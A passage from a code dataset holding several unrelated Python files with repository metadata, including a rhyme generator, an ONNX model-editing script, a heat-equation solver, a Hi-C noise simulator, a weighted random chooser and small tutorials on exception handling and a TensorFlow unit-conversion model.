rtext.splitlines():\r\n if \"More ideas\" in line: break\r\n if \"\")[1].split(\"<\")[0]\r\n word = word.replace(\" \",\" \")\r\n word = word.split(\" \")[-1]\r\n if word == \"\": continue\r\n rhymes.append(word)\r\n return rhymes\r\n\r\ndef randBlock(lines):\r\n restart = True\r\n rhymingLines = []\r\n while restart:\r\n restart = False\r\n randnum = random.randint(0,totlines - 1)\r\n randLine = allLines[randnum]\r\n rhymes = getRhymes(randLine.endword)\r\n firstLine = randLine.line\r\n endWord = randLine.endword\r\n foundRhymingLines = 0\r\n for line in allLines:\r\n if line.endword in rhymes:\r\n #print(\"Found a rhyme: \" + line.endword)\r\n rhymingLines.append(line)\r\n foundRhymingLines += 1\r\n if foundRhymingLines < lines:\r\n restart = True\r\n alreadyDone = []\r\n returnRhymes = []\r\n while True:\r\n randnum = random.randint(0,len(rhymingLines) - 1)\r\n #print(str(randnum))\r\n #print(alreadyDone)\r\n if randnum in alreadyDone: continue\r\n alreadyDone.append(randnum)\r\n returnRhymes.append(rhymingLines[randnum])\r\n if len(alreadyDone) >= lines: break\r\n return returnRhymes\r\n \r\nfile = \"kanye.txt\"\r\nf = open(file, \"r\", encoding=\"utf8\")\r\ncurrenttag = \"\"\r\ntotlines = 0\r\nallLines = []\r\nchorusTags = []\r\nverseTags = []\r\nfor line in f:\r\n line = line.strip()\r\n if line == \"\": continue\r\n if \"[\" in line:\r\n currenttag = line\r\n if \"[Verse\" in line and \":\" in line:\r\n versetag = line.split(\":\")[1].replace(']','')\r\n verseTags.append(versetag)\r\n if \"[Chorus\" in line and \":\" in line:\r\n chorustag = line.split(\":\")[1].replace(']','')\r\n chorusTags.append(chorustag)\r\n continue\r\n thisLine = Line()\r\n thisLine.tag = currenttag\r\n thisLine.line = line.split('(')[0]\r\n thisLine.endword = thisLine.line.split(' ')[-1]\r\n thisLine.endword = thisLine.endword.replace('.','').replace('?','').replace('-','').replace('!','').replace(',','').replace('\"','').replace('\\'','')\r\n allLines.append(thisLine)\r\n totlines+=1\r\n\r\nchorus = randBlock(8)\r\nverse = []\r\nfor i in range(0,numVerses):\r\n verse.append(randBlock(4) + randBlock(4))\r\n\r\nfor i in range(0,numVerses):\r\n randnum = random.randint(0,len(verseTags) - 1)\r\n versetag = verseTags[randnum]\r\n print(\"Verse \" + str(i+1) + \":\" + versetag + \"\\n\")\r\n for line in verse[i]:\r\n print(line.line)\r\n print(\"\")\r\n if (i+1) % 2 == 0:\r\n randchorusnum = random.randint(0,len(chorusTags) - 1)\r\n chorustag = chorusTags[randchorusnum]\r\n print(\"Chorus:\" + chorustag)\r\n for line in chorus:\r\n print(line.line)\r\n print(\"\")\r\n\r\nf.close()","repo_name":"sgriffin53/aikanye","sub_path":"kanye.py","file_name":"kanye.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"24036291801","text":"#!/usr/bin/env python3\n\n\nimport onnx_graphsurgeon as gs\nimport numpy as np\nimport onnx\nimport os\n\n\ndef main():\n\n # graph = gs.import_onnx(onnx.load(\"/Users/weijunkuang/codes/MA_Examples/onnx_quantize/resnet50_3x224x224_b0.onnx\"))\n onnx_model_path = 'resnet50_3x224x224_op12.onnx'\n graph = gs.import_onnx(onnx.load(onnx_model_path))\n tensors = graph.tensors()\n\n # for index, node in enumerate(graph.nodes):\n # if node.op == 'Gemm': \n # conv_out_0 = gs.Variable(name='conv_out_0', dtype=np.float32, shape=(-1, 1000, 1, 1))\n # share_fc_0_node = gs.Node(op='Conv', inputs=[flatten_0_out, share_fc_0_weight], outputs=[share_fc_0_out])\n # graph.nodes.append(share_fc_0_node)\n\n for index, node in enumerate(graph.nodes):\n if node.op == 'Flatten':\n \n gemm_node = graph.nodes[121]\n\n np_w = gemm_node.inputs[1].values.reshape(1000, 2048, 1, 1)\n # np_w = gemm_node.inputs[1].values.reshape(10, 2048, 1, 1)\n conv_w = gs.Constant(name='W', values=np_w)\n\n conv_b = gs.Constant(name='B', values=gemm_node.inputs[2].values)\n conv_out_0 = gs.Variable(name='conv_out_0', dtype=np.float32, shape=(-1, 1000, 1, 1))\n conv_node_0 = gs.Node(op='Conv', name= 'Conv_1000', inputs=[node.inputs[0], conv_w, conv_b], outputs=[conv_out_0])\n graph.nodes.append(conv_node_0)\n\n out_shape = gs.Constant(name='out_shape', values=np.array([-1, 1000], dtype=np.int64))\n reshape_out = gs.Variable(name='out', dtype=np.float32, shape=(-1, 1000)) \n reshape_node = gs.Node(op='Reshape', name= 'Reshape_1001', inputs=[conv_out_0,out_shape], outputs=[reshape_out])\n graph.nodes.append(reshape_node)\n \n graph.outputs=[reshape_out] \n\n graph.cleanup()\n modified_model = gs.export_onnx(graph)\n onnx.checker.check_model(modified_model)\n\n modified_model_path = os.path.splitext(onnx_model_path)[0]\n onnx.save(modified_model, modified_model_path+'_modified.onnx') \n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","repo_name":"dulvqingyunLT/RESNET_PACE","sub_path":"resnet_modify_graphsurgeon.py","file_name":"resnet_modify_graphsurgeon.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9218488589","text":"import argparse\nimport datetime\nimport os\nimport re\nimport sys\n\n\"\"\"\nThe concrete representation of a PBM file.\n\"\"\"\nclass PBMFile:\n \"\"\"\n Initializes a new PBMFile instance with the supplied array\n of text lines (eg: from a semi-parsed textfile).\n \"\"\"\n def __init__(self, pbmtextlines, name, outfname):\n self.inner_pbmlines = pbmtextlines\n self.name = name\n self.outfname = outfname\n\n def genframefile(self):\n n = self.name.upper()\n with open(self.outfname, mode='w') as f:\n f.write('/*\\n')\n f.write(' * THIS IS A CUMAE-GENERATED FILE, DO NOT MODIFY!\\n')\n f.write(' *\\n')\n f.write(' * Generated on: %s\\n' % datetime.datetime.now())\n f.write(' */\\n\\n')\n f.write('#ifndef %s_h\\n' % n)\n f.write('#define %s_h\\n\\n' % n)\n f.write('#include \\n')\n f.write('#include \\n\\n')\n f.write('const uint8_t %s_frame_data[] PROGMEM = {\\n' % self.name)\n f.write(self.outbytes)\n f.write('\\n};\\n')\n\n f.write('#endif /* %s_h */\\n' % n)\n\n def genframedata(self):\n assert(self.rows % 4 == 0)\n assert(self.columns % 4 == 0)\n\n self.outbytes = ''\n\n # Generate odd bytes on ONE line\n for pixeline in self.pixeldata:\n pl = len(pixeline) - 1 # Odd bytes have even indexes\n for i in range(0, int(self.columns / 8), 1):\n oddbyte = 0xAA\n if pixeline[pl - 1] == 1:\n oddbyte = oddbyte | (0x3 << 6)\n if pixeline[pl - 1 - 2] == 1:\n oddbyte = oddbyte | (0x3 << 4)\n if pixeline[pl - 1 - 4] == 1:\n oddbyte = oddbyte | (0x3 << 2)\n if pixeline[pl - 1 - 6] == 1:\n oddbyte = oddbyte | (0x3 << 0)\n\n pl -= 8\n self.outbytes += '0x' + format(oddbyte, '02x') + ', '\n\n self.outbytes += '\\n'\n\n # Generate even bytes on ONE line\n pl = 1\n for i in range(0, int(self.columns / 8), 1):\n evenbyte = 0xAA\n if pixeline[pl] == 1:\n evenbyte = evenbyte | (0x3 << 6)\n if pixeline[pl + 2] == 1:\n evenbyte = evenbyte | (0x3 << 4)\n if pixeline[pl + 4] == 1:\n evenbyte = evenbyte | (0x3 << 2)\n if pixeline[pl + 6] == 1:\n evenbyte = evenbyte | (0x3 << 0)\n\n pl += 8\n self.outbytes += '0x' + format(evenbyte, '02x') + ', '\n\n self.outbytes += '\\n'\n\n def parse(self):\n if not self.inner_pbmlines[0].upper() == 'P1':\n return False\n\n m = re.match(r'(?P\\d+) (?P\\d+)', self.inner_pbmlines[1])\n if m is None:\n return False\n\n self.columns = int(m.group('columns'))\n self.rows = int(m.group('rows'))\n self.pixeldata = [[0 for x in range(self.columns)] for y in range(self.rows)]\n\n iter_rows = 0\n\n filtered_text = [l.replace('\\n', '').replace(' ', '').replace('\\r', '') for l in self.inner_pbmlines[2:]]\n filtered_text = ''.join(filtered_text)\n\n for row_iter in range(0, self.rows):\n col_offset = row_iter * self.columns\n self.pixeldata[row_iter] = [int(i) for i in filtered_text[col_offset:col_offset + self.columns]]\n\n if not len(self.pixeldata) == self.rows:\n return False\n\n for r in self.pixeldata:\n if not len(r) == self.columns:\n return False\n\n return self.columns == 128 and self.rows == 96\n\n def __str__(self):\n s = ''\n for rw in self.pixeldata:\n for cl in rw:\n s += str(cl)\n s += '\\n'\n\n return s\n\ndef filter_file_and_go(pbmfile_input_file, outid, outname):\n with open(pbmfile_input_file) as pbmfile:\n uncommented_lines = []\n\n for line in pbmfile:\n l = line.strip()\n if l.startswith('#'): continue\n uncommented_lines.append(l)\n\n return PBMFile(uncommented_lines, outid, outname)\n\ndef intro():\n print('Cumae Frame Generator\\n')\n\nif __name__ == '__main__':\n intro()\n\n arp = argparse.ArgumentParser(description='Generates frame data files for SBuCa starting from PBM files.')\n arp.add_argument('-in', nargs=1, help='file to parse', required=True, dest='infile')\n arp.add_argument('-out', nargs=1, help='file to generate')\n arp_args = arp.parse_args()\n\n outfilename = outid = \"unknown\"\n\n if arp_args.out:\n outid = os.path.splitext(os.path.basename(arp_args.out[0]))[0]\n outfilename = arp_args.out[0]\n else:\n outid = os.path.splitext(os.path.basename(arp_args.infile[0]))[0]\n outfilename = outid + '.h'\n\n bf = filter_file_and_go(arp_args.infile[0], outid, outfilename)\n if bf.parse() is False:\n sys.exit('%s does not seem to be a valid file' % sys.argv[1])\n\n bf.genframedata()\n bf.genframefile()\n\n print('Done.')\n","repo_name":"michelangelo/Cumae","sub_path":"tools/framegen/framegen.py","file_name":"framegen.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41384050689","text":"\"\"\"\nFEniCS tutorial demo program: \nHeat equation with heat source and Dirichlet b.c.\nAdaptation of d1_d2D.py\n\"\"\"\n\nfrom dolfin import *\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\n\ndef parameters():\n # parameters\n nx = ny = 30 # spatial refinement on x and y axis\n N_k = 80 # number of time steps\n T = 0.1 # final time\n \n return nx, ny, N_k, T\n\ndef initialCond():\n # Define initial condition\n code = \"0.5 - 1.5*sqrt((x[0]-0.5)*(x[0]-0.5) + (x[1]-0.5)*(x[1]-0.5)) \\\n +fabs(0.5 - 1.5*sqrt((x[0]-0.5)*(x[0]-0.5) + \\\n (x[1]-0.5)*(x[1]-0.5)))\"\n\n u0 = Expression(code, degree = 2)\n return u0\n\ndef boundaryCond():\n # Define boundary conditions\n u_bc = Constant('0.0')\n\n return u_bc\n\ndef heatSource():\n # Define heat source f\n\n #code = \"10 - 30*sqrt((x[0]-0.5)*(x[0]-0.5) + (x[1]-0.5)*(x[1]-0.5)) \\\n # +fabs(10 - 30*sqrt((x[0]-0.5)*(x[0]-0.5) + \\\n # (x[1]-0.5)*(x[1]-0.5)))\"\n #\n # f = Expression(code, degree = 2)\n\n f = Expression('100*t', t = 0.0, degree = 2)\n return f\n\ndef plot_Function2d(V,mesh,u,fig=None):\n # extract mesh coordinates\n coordinates = mesh.coordinates()\n x_coord = coordinates[:,0]\n y_coord = coordinates[:,1]\n \n # extract values of u on vertices\n vertex_values = u.compute_vertex_values(mesh)\n\n # surf plot with pyplot\n if fig == None:\n fig = plt.figure() # create figure if none given\n ax = fig.gca(projection='3d')\n ax.cla()\n ax.plot_trisurf(x_coord, y_coord, vertex_values, cmap=plt.cm.hot,vmax=1)\n ax.grid(False)\n\n return fig\n\ndef solveHeatEq(u_ini, u_bc, f, mesh, T, N_k):\n\n k = T/N_k # temporal step size\n\n # define function space\n V = FunctionSpace(mesh, 'Lagrange', 1)\n \n def u0_boundary(x, on_boundary):\n return on_boundary\n \n bc = DirichletBC(V, u_bc, u0_boundary)\n \n # set initial condition\n u_1 = interpolate(u_ini, V) # or project(...)\n\n # Define variational problem\n u = TrialFunction(V)\n v = TestFunction(V)\n a = u*v*dx + k*inner(nabla_grad(u), nabla_grad(v))*dx\n L = (u_1 + k*f)*v*dx\n\n A = assemble(a) # assemble A only once before the time stepping\n b = None # necessary for memory saving assemble call\n \n # plot initial condition\n fig = plt.figure() \n t = 0.\n fig = plot_Function2d(V,mesh,u_1,fig=fig)\n ax = fig.gca(projection='3d')\n ax.set_title('t = %.2f' % t)\n ax.set_zlim(0,1) \n plt.pause(2)\n\n # Compute solution\n u = Function(V) # the unknown at a new time level\n \n for i in xrange(N_k):\n t = i*k\n f.t = t # update time for heat source\n # assemble right hand side from current L \n b = assemble(L, tensor=b)\n bc.apply(A, b) # apply boundary conditions to A and b\n solve(A, u.vector(), b) # compute new solution\n # feed new solution into L\n u_1.assign(u)\n # create surf plot of u_1 \n fig = plot_Function2d(V,mesh,u_1,fig=fig)\n ax = fig.gca(projection='3d')\n ax.set_title('t = %.2f' % t)\n ax.set_zlim(0,1) \n plt.pause(0.05)\n \n\ndef main():\n # get parameter values\n nx, ny, N_k, T = parameters()\n # generate mesh \n mesh = UnitSquareMesh(nx, ny)\n # get initial condition, boundary condition and heat source\n u_ini = initialCond()\n u_bc = boundaryCond()\n f = heatSource()\n # f = Constant('0.0')\n # numerical solution of Heat Eq with animation\n solveHeatEq(u_ini, u_bc, f, mesh, T, N_k)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mozzsa/numerical-mathematics","sub_path":"assignment12/HeatEq.py","file_name":"HeatEq.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13777021705","text":"import sys\nsys.path.append('../')\nimport argparse\nimport numpy as np\nfrom numpy.random import binomial\nfrom scipy import sparse as sps\nimport pandas as pd\nimport cooler\nfrom copy import deepcopy\nfrom src.data.utils import cool_to_mats\nstr_to_num = {\n '1kb':1000, '5kb':5000, '10kb':10000, '25kb':25000,'40kb':40000,\n '50kb':50000, '100kb':100000, '250kb':250000, '500kb':500000, '1mb':1000000\n}\n\ndef mats_to_cool(mats, noise_levels, noise_type, chrom, resol, out_dir):\n\n path = f\"{out_dir}/{chrom}_{noise_type}.cool\"\n print(f\"Noisy contact matrices are saving to {path}\")\n resol = str_to_num[resol]\n chrom_names = []\n chrom_sizes = []\n RAWobserved_list = []\n for mat, noise in zip(mats, noise_levels):\n assert len(mat) == len(mat[:,1])\n mat = sps.csc_matrix(mat)\n u, v = mat.toarray().nonzero()\n remain = (u<=v)\n bin1_id = u[remain]\n bin2_id = v[remain]\n count = mat.data[remain]\n RAWobserved = {\n 'bin1_id':bin1_id,'bin2_id':bin2_id,'count':count\n }\n \n RAWobserved = pd.DataFrame(\n RAWobserved)\n RAWobserved['bin1_id'] = RAWobserved['bin1_id'].values + np.sum(chrom_sizes)\n RAWobserved['bin2_id'] = RAWobserved['bin2_id'].values + np.sum(chrom_sizes)\n RAWobserved_list.append(RAWobserved)\n chrom_names.append(f'{chrom}_{noise:.2f}')\n print(f\"key in cooler file: {chrom}_{noise:.2f}\")\n chrom_sizes.append(mat.shape[0])\n print(f\"noise:{noise}, total weights:{np.sum(mat)}, num nodes:{mat.shape[0]}, num edges:{len( RAWobserved['count'])}, {len(RAWobserved['count'])}\")\n pixels = pd.concat(RAWobserved_list)\n bins = pd.DataFrame({\n \"chrom\":np.concatenate([[chrom]*size for chrom, size in zip(chrom_names, chrom_sizes)]),\n \"start\": np.concatenate([np.arange(size)*resol for size in chrom_sizes]),\n \"end\": np.concatenate([np.arange(1,size+1)*resol for size in chrom_sizes])\n })\n cooler.create_cooler(path, bins, pixels, columns=['count'], dtypes={'count':np.float32})\n\ndef stratifiedSample ( V, F, strataSize = 100 ):\n N = len(V)\n V = np.array(V)\n F = np.array(F)\n\n strataCount = int(np.ceil(float(N) / strataSize))\n sortInd = np.argsort(F)\n strata = []\n strataMax = []\n\n\n\n for i in range(strataCount) :\n stratum = V [ sortInd[ (strataSize*(i) ) : (strataSize*(i+1)) ] ]\n stratumF = F [ sortInd[ (strataSize*(i) ) : (strataSize*(i+1)) ] ]\n strata.append( stratum )\n strataMax.append(max(stratumF))\n\n\n sample = []\n for i in range(len(V) ):\n if ( F[i] == 0 ) :\n sample.append (0)\n else :\n stratumInd = 0\n for k in range(strataCount) :\n if ( F[i] <= strataMax[k] ):\n stratumInd = k\n break\n if ( stratumInd == 0 ):\n stratumInd = k\n sample.append ( np.random.choice(strata[k],size=1)[0] )\n\n return ( sample )\n\ndef uniformMatrix ( CM, subSampleCount = 1000000, bias = True ):\n (R,C) = np.shape(CM)\n marginal = np.sum(np.array(CM),1)\n uniSampleCM = np.matrix( np.zeros((R,C)) )\n\n indexMap = []\n indexProb = []\n for i in range(R) :\n for k in range(i,R) :\n if marginal[i] != 0 and marginal[k] != 0 :\n indexMap.append([i,k])\n if bias :\n indexProb.append(marginal[i] * marginal[k])\n if bias :\n totalProb = float(sum(indexProb))\n indexProb = [ iP / totalProb for iP in indexProb ]\n triuSample = np.random.choice(len(indexMap),subSampleCount,p=indexProb)\n else :\n triuSample = np.random.choice(len(indexMap),subSampleCount)\n\n for s in triuSample :\n (i,k) = indexMap[s]\n uniSampleCM[i,k] += 1\n uniSampleCM += np.transpose(np.triu(uniSampleCM,1))\n\n return (uniSampleCM)\n\ndef shuffleMatrix ( CM, stratumSize = 100 ):\n #Convert to integer\n CM = CM.astype(int)\n #Get marginals and number of rows\n contactSum = np.sum(np.array(CM),1)\n N = len(CM)\n\n # For matrix entry Mik, store Marginal i * Marginal k in CountByDist\n # and the Mik itself in matrixByDist\n countByDist = []\n matrixByDist = []\n for i in range(0,N):\n for k in range(i,N):\n dist = k-i\n if ( len(countByDist)-1 < dist ):\n countByDist.append( [ float(contactSum[i]) * contactSum[k] ] )\n matrixByDist.append( [ int( CM[i,k] ) ] )\n else:\n countByDist[dist].append( float(contactSum[i]) * contactSum[k] )\n matrixByDist[dist].append( int( CM[i,k] ) )\n\n noiseMatrix = np.zeros((N,N))\n\n for i in range(len(matrixByDist)):\n #for i in range(1):\n #print \"dist is %d\" % (i)\n thisSample = stratifiedSample(matrixByDist[i],countByDist[i],stratumSize)\n for k in range(len(thisSample)):\n noiseMatrix[k,k+i] = thisSample[k]\n for i in range(0,N):\n for k in range(i,N):\n noiseMatrix[k,i] = noiseMatrix[i,k]\n return ( noiseMatrix )\n\ndef simulate(ref_mat, noise_type, noise_levels):\n if noise_type == 'DropEdge':\n simulate_dropedge(ref_mat, noise_levels)\n elif noise_type == 'DropNode':\n noisy_mats = simulate_dropnode(ref_mat, noise_levels)\n elif noise_type == '66GD+33RL':\n noisy_mats = simulate_66GD(ref_mat, noise_levels)\n elif noise_type == '33GD+66RL':\n noisy_mats = simulate_33GD(ref_mat, noise_levels)\n else:\n NotImplementedError(\"Please specify the correct noise type\")\n return noisy_mats\ndef simulate_dropedge(ref_mat, noise_levels):\n mats_de = []\n for noise in noise_levels:\n mat_de = np.triu(ref_mat)\n mat_de = sps.coo_matrix(mat_de)\n mat_de.data = mat_de.data * binomial(1,1-noise, size=len(mat_de.data))\n mat_de = mat_de.toarray()\n mat_de = np.triu(mat_de,0) + np.triu(mat_de,1).T\n mats_de.append(mat_de)\n return mats_de\ndef simulate_dropnode(ref_mat, noise_levels):\n nz_ids = np.where(np.sum(ref_mat, axis=1) != 0)[0]\n mats_dn = []\n for noise in noise_levels:\n mask = nz_ids[binomial(1,1-noise,size=len(nz_ids))==0]\n mat_dn = np.array(deepcopy(ref_mat))\n mat_dn[:,mask] = 0\n mat_dn[mask,:] = 0\n mats_dn.append(mat_dn)\n return mats_dn\ndef simulate_66GD(ref_mat, noise_levels):\n gdenm = shuffleMatrix(np.triu(ref_mat))\n rlnm = uniformMatrix(ref_mat, subSampleCount=np.sum(np.triu(ref_mat)))\n mats_n = []\n for noise in noise_levels:\n mat_n = (1-noise) * ref_mat + noise * (2/3*gdenm + 1/3*rlnm)\n mats_n.append(mat_n)\n return mats_n\ndef simulate_33GD(ref_mat, noise_levels):\n gdenm = shuffleMatrix(np.triu(ref_mat))\n rlnm = uniformMatrix(ref_mat, subSampleCount=np.sum(np.triu(ref_mat)))\n mats_n = []\n for noise in noise_levels:\n mat_n = (1-noise) * ref_mat + noise * (1/3*gdenm + 2/3*rlnm)\n mats_n.append(mat_n)\n return mats_n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--ref_path',type=str, required=True, help='Path to reference Hi-C .cooler file')\n parser.add_argument(\"--resol\", type=str, required=True, help= 'Resolution of Hi-C data')\n parser.add_argument(\"--chr\", type=str, required=True, help='Target chromosome')\n parser.add_argument('--noise_type', type=str, required=True, help='Noise type to simulate', choices=['DropEdge', 'DropNode', '66GD+33RL', '33GD+66RL'])\n parser.add_argument('--noise_levels', type=str, required=False, default=[0.05,0.1,0.15,0.2,0.25,0.3,0.4,0.5])\n parser.add_argument('--out_dir', type=str, required=True)\n\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n args = parse_args()\n ref_mat = cool_to_mats(args.ref_path, chroms=[args.chr])[0].toarray()\n noisy_mats = simulate(ref_mat, args.noise_type, args.noise_levels)\n mats_to_cool(noisy_mats, args.noise_levels, args.noise_type, args.chr, args.resol, args.out_dir)\n","repo_name":"lihan97/sslHiC","sub_path":"scripts/simulate_noisy_contact_matrix.py","file_name":"simulate_noisy_contact_matrix.py","file_ext":"py","file_size_in_byte":8040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"5629603573","text":"import time # Importujemy moduł time, który pozwala nam pracować z czasem.\r\n\r\nclass AiRandsChoice:\r\n def __init__(self, seed=None):\r\n if seed is None:\r\n seed = int(time.time()) # Jeśli nie podano ziarna, ustawiamy je na aktualny czas w sekundach od początku epoki Unix.\r\n self.seed = seed\r\n self.multiplier = int(time.time() * 10**6) # Ustawiamy mnożnik na wartość aktualnego czasu w mikrosekundach.\r\n self.increment = int(time.time() * 10**9) # Ustawiamy dodatek (inkrement) na wartość aktualnego czasu w nanosekundach.\r\n self.modulus = 2**32 # Ustawiamy wartość modułu, która ogranicza zakres generowanych liczb pseudolosowych.\r\n\r\n def next_int(self, max_value=None):\r\n self.seed = (self.seed * self.multiplier + self.increment) % self.modulus # Wygenerowanie kolejnego pseudolosowego ziarna za pomocą liniowego generatora kongruencyjnego.\r\n if max_value is None:\r\n return self.seed # Zwracamy wygenerowane pseudolosowe ziarno jako liczbę całkowitą.\r\n return self.seed % max_value # Zwracamy wygenerowane pseudolosowe ziarno z ograniczeniem do zakresu od 0 do `max_value-1`.\r\n\r\n def weighted_choice(self, items, weights):\r\n total_weight = sum(weights) # Obliczamy sumę wag wszystkich elementów, aby wygenerować zakres losowania.\r\n r = self.next_int(total_weight) # Losujemy wartość `r` z zakresu od 0 do sumy wag.\r\n cumulative_weight = 0\r\n for item, weight in zip(items, weights):\r\n cumulative_weight += weight # Dodajemy wagę aktualnego elementu do zmiennej `cumulative_weight`.\r\n if cumulative_weight > r: # Sprawdzamy, czy `cumulative_weight` jest większe od wylosowanej wartości `r`.\r\n return item # Jeśli tak, to oznacza, że osiągnęliśmy punkt na osi ważonej, w którym wybieramy odpowiedni element.\r\n\r\n# Przykład użycia\r\n# items = [\"A\", \"B\", \"C\"] # Definiujemy listę `items`, zawierającą elementy, które chcemy losować.\r\n# weights = [1, 1, 1] # Definiujemy listę `weights`, która zawiera wagi odpowiadające elementom z listy `items`.\r\n\r\n# aiRadsCho = AiRandsChoice() # Tworzymy instancję klasy `AiRandsChoice`, używając domyślnego ziarna (aktualny czas).\r\n# random_item = aiRadsCho.weighted_choice(items, weights) # Wywołujemy metodę `weighted_choice` na instancji `custom_random`, aby wylosować element z listy `items` zgodnie z wagami z listy `weights`.\r\n# print(random_item) # Wypisujemy wylosowany element na ekranie.\r\n\r\n# import awareness as a\r\n# base = a.take_base('memory_CLO_v2010')\r\n# lista = ['OR_3416', 'DO_5248', 'DO_6612', 'DO_967', 'OK_1289']\r\n# wagi = [a.stats_part(base, w)['TOTAL'] for w in lista]\r\n\r\n# print(lista)\r\n# print(wagi)\r\n# print(aiRadsCho.weighted_choice(lista, wagi))\r\n","repo_name":"amnezja3/awareness","sub_path":"AiRandsChoice_class.py","file_name":"AiRandsChoice_class.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"pl","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"3364924849","text":"# -*- coding: utf-8 -*-\n\n# 在bar()函数中,我们明明已经捕获了错误,但是,打印一个ValueError!后,又把错误通过raise语句抛出去了,这不有病么?\n# 其实这种错误处理方式不但没病,而且相当常见。捕获错误目的只是记录一下,便于后续追踪。但是,由于当前函数不知道应该怎么处理该错误,\n# 所以,最恰当的方式是继续往上抛,让顶层调用者去处理。好比一个员工处理不了一个问题时,就把问题抛给他的老板,如果他的老板也处理不了,就一直往上抛,最终会抛给CEO去处理。\n# raise语句如果不带参数,就会把当前错误原样抛出。\n\n\ndef foo(s):\n n = int(s)\n if n == 0:\n raise ValueError('Invalid Error: %s' % n)\n return 10 / n\n\n\ndef bar():\n try:\n foo('0')\n except ValueError as e:\n print('ValueError', e)\n raise\n\n\nbar()\n\n\n# $ python reraise.py\n# ValueError Invalid Error: 0\n# Traceback (most recent call last):\n# File \"reraise.py\", line 18, in \n# bar()\n# File \"reraise.py\", line 13, in bar\n# foo('0')\n# File \"reraise.py\", line 7, in foo\n# raise ValueError('Invalid Error: %s' % n)\n# ValueError: Invalid Error: 0\n\n# 在except中raise一个Error,还可以把一种类型的错误转化成另一种类型:\n\ndef bar1():\n try:\n 10 / 0\n except ZeroDivisionError:\n raise ValueError('Input Error')\n\n\nbar1()\n\n# 只要是合理的转换逻辑就可以,但是,决不应该把一个IOError转换成毫不相干的ValueError。\n","repo_name":"Orocker/learning-python","sub_path":"Error_Debug_Test/reraise.py","file_name":"reraise.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"25324226002","text":"import math\n\ndef findFuel(mass: int) -> int:\n ans = math.floor(mass/3) - 2\n return ans\n\ndef actualFuel(mass: int) -> int:\n ans = 0\n while mass > 0:\n temp = findFuel(mass)\n if temp < 0:\n break\n else:\n mass = temp\n ans += temp\n return ans\n\nassert actualFuel(1969) == 966\nassert actualFuel(14) == 2\nassert actualFuel(100756) == 50346 \n\ndef main():\n with open('input.txt') as file:\n masses = [int(line.strip())for line in file]\n part1Ans = sum(findFuel(mass) for mass in masses)\n print(part1Ans)\n part2Ans = sum(actualFuel(mass) for mass in masses)\n print(part2Ans)\n \nif __name__ == \"__main__\":\n main()","repo_name":"lusch0620/aoc2019","sub_path":"day1/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1102484297","text":"import tensorflow as tf\nimport numpy as np\n\ncelsius = np.array([-40, -10, 0, 8, 15, 22, 38], dtype=float)\nfahrenheit = np.array([-40, 14, 32, 46, 59, 72, 100], dtype=float)\n\n#capa = tf.keras.layers.Dense(units=1, input_shape=[1])\n#modelo = tf.keras.Sequential([capa])\n\noculta1 = tf.keras.layers.Dense(units=3, input_shape=[1])\noculta2 = tf.keras.layers.Dense(units=3)\nsalida = tf.keras.layers.Dense(units=1)\nmodelo = tf.keras.Sequential([oculta1, oculta2, salida])\n\ntasa_de_aprendizaje = 0.1\n\nmodelo.compile(\n # concretamente, Adam le permite a la red ajuste los pesos y sesgos de manera eficiente\n # de modo que aprenda y no desaprenda\n optimizer=tf.keras.optimizers.Adam(tasa_de_aprendizaje),\n # error de media cuadratica. Una pequeña cantidad de grandes errores es peor que una cantidad grande de pequeños errores\n loss=\"mean_squared_error\"\n)\n\nciclos_de_aprendizaje = 1000\n# entrenamiento\nhistorial = modelo.fit(celsius, fahrenheit, epochs=ciclos_de_aprendizaje, verbose=False)\n\nprint(\"modelo entrenado\")\n\n#reultado de la funcion de perdida\nimport matplotlib.pyplot as plt\n\nplt.xlabel(\"# ciclos (epochs)\")\nplt.ylabel(\"magnitud de perdida\")\nplt.plot(historial.history[\"loss\"])\nplt.show()\n\n# comprobar si predice\nresult = modelo.predict([100])\nprint(\"100 C en fahrenheit deberia ser 212\")\nprint(result)\n\nprint(\"peso, sesgo\")\nprint(oculta1.get_weights())\nprint(oculta2.get_weights())\nprint(salida.get_weights())","repo_name":"eacevedof/prj_python37","sub_path":"tensorflow/celcius-fahrenheit/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"19014467993","text":"from common import *\nfrom optimiser import get_optimal_team\nimport warnings\nimport re\nfrom typing import List, Tuple, Optional\nfrom ipywidgets import HTML, HBox, VBox, Output, Layout, Dropdown, Text, FloatSlider, IntSlider, Label, Widget\nfrom IPython.display import display\n\ndef add_stats_compl(df: DF, ctx: Context, digits: int = 0) -> DF:\n return (df.assign(**{'Stats Completeness': lambda df: df['Fixtures Played Recent Fixtures']\n .map(lambda v: ('{:.' + str(digits) + 'f}/{:.0f}').format(v, ctx.player_fixtures_look_back))}))\n\n\ndef get_expected_points_cols_or_def(expected_points_cols: List[str], ctx: Context) -> List[str]:\n if expected_points_cols is None:\n next_gws = list(ctx.next_gw_counts)\n expected_points_cols = ['Expected Points ' + gw for gw in [next_gws[0], ctx.def_next_gws, next_gws[-1]]]\n\n # Deduplicate columns\n return 